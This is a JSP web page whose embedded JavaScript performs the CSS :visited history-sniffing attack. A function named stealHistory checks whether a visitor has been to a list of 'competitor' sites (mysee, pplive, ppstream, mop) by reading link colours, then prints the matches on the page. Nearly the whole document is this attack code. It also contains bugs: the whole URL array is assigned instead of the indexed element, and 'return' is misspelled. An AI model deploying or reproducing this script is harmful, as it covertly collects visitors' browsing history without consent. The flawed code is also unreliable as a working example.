<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>index</title>
<script>
// 原作者：Abhinav Kaiser
// 原始URL：http://technopedia.info/tech/2006/08/24/people-can-steal-your-browser-history-watchout.html

// http://www.donevii.com
// Last modified by 邓威 2006-08-28 加入对 IE 的支持

var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("firefox") != -1);
var is_opera = (agent.indexOf("opera") != -1);

// 竞争对手网站地址
var websites = [
        "http://www.mysee.com",
        "http://www.pplive.com",
        "http://www.ppstream.com",
        "http://www.mop.com"
];

if (! document.getElementById('xss_flag')) {
        
        var d = document.createElement('div');
        d.id = 'xss_flag';        
        document.body.appendChild(d);

        var d = document.createElement('table');
        d.border = 0;
        d.cellpadding = 5;
        d.cellspacing = 10;
        d.width = '90%';        
        d.align = 'center';
        d.id = 'data';
        document.body.appendChild(d);
        
        document.write('<style>');
        for (var i = 0; i < websites.length; i++) {
                document.write('#id' + i + ":visited { color: #800080; }");
        }
        document.write('</style>');
        
        if( is_opera ) {
                document.write("我们不支持 Opera 浏览器。");
        }
        else {
                stealHistory();
        }
}

/*
* 得到访问历史
*/
function stealHistory() {
        var color;
        
        for (var i = 0; i < websites.length; i++) {
        
                var link = document.createElement("a");
                link.id = "id" + i;
                link.href = websites;
                link.innerHTML = websites;
                
                document.body.appendChild(link);
                
                if( is_mozilla ) {                                
                        color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");                        
                }
                else if( is_opera ) {
                        var oo = document;
                        color = "";
                        for( var e in oo )
                        {
                                color += e + ":" + oo + "<br />";
                        }
                        document.write( color );
                        reutrn;
                }
                else {
                        color = document.getElementById("id" + i).currentStyle.color;                        
                }                
                document.body.removeChild(link);                
                
                if( (is_mozilla && color == "rgb(128, 0, 128)") || color == "#800080" ) {                        
                        document.write('<li>你访问过&nbsp;<a href="' + websites + '">' + websites + '</a>&nbsp;。</li>');
                }
        }
}
</script>
</head>
<body>
<a href="http://www.mysee.com">http://www.mysee.com</a><br>
<a href="http://www.pplive.com">http://www.pplive.com</a><br>
<a href="http://www.ppstream.com">http://www.ppstream.com</a><br>

<a href="NewFile.jsp">new1</a><br>
<a href="NewFile1.jsp">new2</a>
<a href="NewFile2.jsp">new3</a>
</body>
</html>